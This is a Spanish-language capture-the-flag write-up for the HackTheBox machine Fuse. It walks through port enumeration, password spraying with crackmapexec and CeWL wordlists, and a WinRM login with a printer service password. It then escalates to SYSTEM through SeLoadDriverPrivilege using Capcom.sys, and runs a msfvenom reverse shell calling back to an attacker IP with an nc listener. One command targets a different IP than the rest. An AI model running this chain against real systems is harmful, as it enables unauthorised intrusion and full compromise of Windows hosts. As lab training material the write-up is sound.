HTB_Fuse
Fuse {-}
Introduccion {-}
La maquina del dia 13/08/2021 se llama Fuse.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.193
ttl: 127 -> maquina Windows
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.193
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.193 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49666,49667,49675,49676,49680,49698,49761 10.10.10.193 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
53 | domain | Domain controller rpcclient null session | |
80 | http | Web, Fuzzing | |
88 | Kerberos | asproasting attack | lista de usuarios validos |
135 | msrpc | ||
139 | netbios | ||
389 | LDAP | Bloodhound | credenciales |
445 | smb | Null session | |
464 | kpasswd5? | ||
593 | ncacn_http | ||
636 | tcpwrapped | ||
3268 | ldap | ||
3269 | tcpwrapped | ||
5985 | WinRM | evil-winrm | credenciales |
9389 | mc-nmf | Puertos por defecto de windows | |
49666 | msrpc | Puertos por defecto de windows | |
49667 | msrpc | Puertos por defecto de windows | |
49675 | msrpc | Puertos por defecto de windows | |
49676 | ncacn_http | Puertos por defecto de windows | |
49680 | msrpc | Puertos por defecto de windows | |
49698 | msrpc | Puertos por defecto de windows | |
49761 | msrpc | Puertos por defecto de windows |
Analyzando el SMB {-}
crackmapexec smb 10.10.10.193
smbclient -L 10.10.10.193 -N
Vemos que estamos en frente de una maquina Windows Server 2016 Standard de 64 bit pro que se llama FUSE en el dominio fabricorp.local.
No vemos ningun recursos compartidos a nivel de red.
Añadimos el dominio a nuestro /etc/hosts
.
Buscando ususarios con rpcclient y rpcenum {-}
rpcclient -U "" 10.10.10.193 -N
rpcclient $> enumdomusers
Aqui vemos un Access Denied.
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.193
Vemos una vez mas que estamos en frente de una IIS pero nada mas. Seguimos checkeando la web.
Checkear la web {-}
Sabemos que es un IIS 10.0 con asp.net. Hay una redireccion automatica a fuzse.fabricorp.local y vemos que estamos en frente de un servicio de impressora. Miramos los logs print y vemos una columna interesante que es la de Users.
Nos creamos un fichero users y copiamos los usuarios de la web.
Ya que tenemos un fichero con contraseñas, intentamos fuerza bruta con crackmapexec.
Vulnerability Assessment {-}
Crackeo con diccionario {-}
Como tenemos una lista de usuarios potenciales, intentamos combinar los usuarios poniendo como contraseña los mismos usuarios. Esto se hace con crackmapexec de la siguiente forma.
crackmapexec smb 10.10.10.193 -u users -p users
Esto no nos da nada. Intentamos crear un diccionario con la palabras encontrada en la web con CEWL
Creando un diccionario desde una pagina web con CEWL {-}
cewl -w passwords http://fuse.fabricorp.local/papercut/logs/html/index.htm --with-numbers
Intentamos otravez el crackeo con crackmapexec
crackmapexec smb 10.10.10.193 -u users -p passwords --continue-on-success | grep -v -i "failure"
Aqui vemos algo interesante:
fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
fabricorp.local\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
Aqui crackmapexec nos dice que a encontrado contraseñas pero son contraseñas por defectos que se tienen que modificar. Las vamos a cambiar con la utilidad smbpasswd
Cambiando contraseñas con smbpasswd {-}
smbpasswd -r 10.10.10.193 -U "bhult"
> Old SMB password: Fabricorp01
> New SMB password: S4vitar123$!
> Retype new SMB password: S4vitar123$!
Password changed for user bhult on 10.10.10.193
Lo miramos con crackmapexec
crackmapexec smb 10.10.10.193 -u "bhult" -p 'S4vitar123$!'
Ya vemos que hay un [+] lo que quiere decir que tenemos credenciales validas.
Intentamos connectarnos con rpcclient
rpcclient -U 'bhult%S4vitar123$!' 10.10.10.193
Nos pone un logon failure. Nos hace pensar que hay como una tarea que cambia la contraseña despues de un momento, intentamos hacer lo mismo pero un poco mas rapido.
smbpasswd -r 10.10.10.193 -U "bhult"
> Old SMB password: Fabricorp01
> New SMB password: S4vitar123$!
> Retype new SMB password: S4vitar123$!
Password changed for user bhult on 10.10.10.193
rpcclient -U 'bhult%S4vitar123$!' 10.10.10.193
Ya estamos a dentro.
Enumerando la maquina con rpcclient {-}
enumdomusers
Como hay un printer, tambien se puede enumerar impresoras.
enumprinters
Aqui nos sale una contraseña.
-
Copiamos los usuarios
echo "user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[svc-print] rid:[0x450] user:[bnielson] rid:[0x451] user:[sthompson] rid:[0x641] user:[tlavel] rid:[0x642] user:[pmerton] rid:[0x643] user:[svc-scan] rid:[0x645] user:[bhult] rid:[0x1bbd] user:[dandrews] rid:[0x1bbe] user:[mberbatow] rid:[0x1db1] user:[astein] rid:[0x1db2] user:[dmuir] rid:[0x1db3]" | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]' > users
-
Checkeamos con crackmapexec que usuario tiene la contraseña encontrado con enumprinters
crackmapexec smb 10.10.10.193 -u users -p '$fab@s3Rv1ce$1'
Aqui vemos que tenemos una credencial valida para el usuario svc-print. Aqui vamos a intentar ganar accesso al systema con WinRM.
Vuln exploit & Gaining Access {-}
Ganando accesso con Win-RM {-}
crackmapexec winrm 10.10.10.193 -u 'svc-print' -p '$fab@s3Rv1ce$1'
Aqui vemos quel usuario es (Pwn3d!)
evil-winrm -i 10.10.10.161 -u 'svc-print' -p '$fab@s3Rv1ce$1'
ya estamos a dentro de la maquina y podemos ver la flag del usuario.
Privilege Escalation {-}
Rootear la maquina {-}
Enumeamos los privilegios del ususarios
whoami /priv
whoami /all
Vemos quel usuario tiene un privilegio SeLoadDriverPrivilege. Miramos en la web si se puede escalar privilegios con esto.
En firefox buscamos con SeLoadDriverPrivilege exploit y caemos en la web de tarlogic.
Aqui S4vitar nos recomienda trabajar desde una maquina Windows con Visual studio 19 installado para buildear el exploit.
Crando el exploit LoadDriver.exe desde la maquina windows {-}
- creamos una carpeta de trabajo llamado fuse
- desde visual studio creamos un nuevo proyecto llamado LoadDriver de typo Console App
- copiamos el contenido del fichero eoploaddriver en el ficher Source Files/LoadDriver.cpp del proyecto.
- eliminamos el primer include que nos da un error #include “stdafx.h y que no es necessario
-
en visual studio cambiamos el Debug a Realease y le ponemos x64
- en el menu le damos a Build -> Rebuild solution
Esto nos cree un fichero LoadDriver.exe que copiamos en una carpeta compiledbinaries.
Recuperamos el capcom.sys {-}
En la web de tarlogic nos dice que necessitamos un fichero llamado capcom.sys lo descargamos desde la web y la copiamos en la carpeta compiledbinaries.
Creamos el ExploitCapcom.exe {-}
En este punto nos tenemos que descargar el fichero ExploitCapcom. Este fichero se tiene que compilar desde Visual Studio.
-
descargamos el proyecto
git clone https://github.com/tandasat/ExploitCapcom
- desde Visual Studio le damos a File -> Open -> Project/Solution
- buscamos el .sln y le damos a open
Si abrimos el fichero ExploitCapcom.cpp, la idea aqui seria de modificar el script para que ejecute un binario malicioso creado con msfvenom. Para esto necesitamos modificar la funccion launchSell() del ExploitCapcom.cpp
En la web de AppLockerByPassList, buscamos una routa windows interesante donde se puede trabajar
sin problemas, en este caso seria la C:\Windows\System32\spool\drivers\color
-
Modificamos el script
static bool launchSell() { TCHAR CommandLine[] = TEXT("C:\\Windows\\System32\\spool\\drivers\\color\\reverse.exe"); }
- Buildeamos el proyecto dandole al menu Build -> Rebuild solution
- copiamos el fichero ExploitCapcom.exe en la carpeta compiledbinaries
Passamos los ficheros a la maquina victima {-}
En la carpeta compiledbinaries
tenemos nuestros 3 ficheros necesarios para el exploit.
- Capcom.sys
- ExploitCapcom.exe
- LoadDriver.exe
En esta carpeta, montamos un servidor web con python
python3 -m http.server
Desde la maquina de atacante, descargamos estos ficheros
wget http://192.168.1.14:8000/Capcom.sys
wget http://192.168.1.14:8000/ExploitCapcom.exe
wget http://192.168.1.14:8000/LoadDriver.exe
Creamos el reverse.exe con msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=443 -f exe -o reverse.exe
Desde la consola Evil-WinRM de la maquina victima, subimos todo los ficheros
cd C:\Windows\Temp
upload Capcom.sys
upload ExploitCapcom.exe
upload LoadDriver.exe
cd C:\Windows\System32\spool\drivers\color
upload reverse.exe
Lanzamos el exploit {-}
En la maquina de atacante nos ponemos en escucha en el puerto 443
rlwrap nc -nlvp 443
En la maquina victima, lanzamos el exploit
cd C:\Windows\Temp
C:\Windows\Temp\LoadDriver.exe System\CurrentControlSet\savishell C:\Windows\Temp\Capcom.sys
C:\Windows\Temp\ExploitCapcom.exe
La reverse shell nos a funccionado y con whoami
vemos que ya somos nt authority\system y podemos ver la flag.